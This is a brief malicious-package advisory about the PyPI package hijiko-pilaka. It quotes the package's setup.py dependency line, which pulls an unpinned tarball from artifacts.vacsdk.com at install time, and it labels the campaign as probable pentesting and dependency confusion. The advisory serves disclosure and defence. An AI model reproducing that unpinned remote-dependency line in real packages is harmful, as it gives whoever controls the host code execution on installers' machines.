MAL-2026-18111 Malicious code in hijiko-pilaka (PyPI)

hijiko-pilaka 1.0.0's setup.py declares its only dependency, native-delta-field-walker, via a direct URL to a tarball on artifacts.vacsdk.com rather than a PyPI version range: install_requires=["native-delta-field-walker @ https://artifacts.vacsdk.com/pypi/native_delta_field_walker-1.0.0.tar.gz"]. There is no hash pin or signature, so pip downloads and installs whatever bytes that URL serves at install time, executing any setup.py / build-backend / lifecycle code inside the fetched sdist. The shipped hijiko_pilaka.py is a 41-byte stub, so the manifest line is effectively the entire install-time surface. The host artifacts.vacsdk.com is unrelated to PyPI and is not pinned by digest, giving whoever controls that URL arbitrary code execution on any machine that runs pip install hijiko-pilaka.

The package uses fake http-downloaded dependencies to track downloads, and has no other purpose.

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: 2026-10-vacsdk

Reasons (based on the campaign):

• dependency-confusion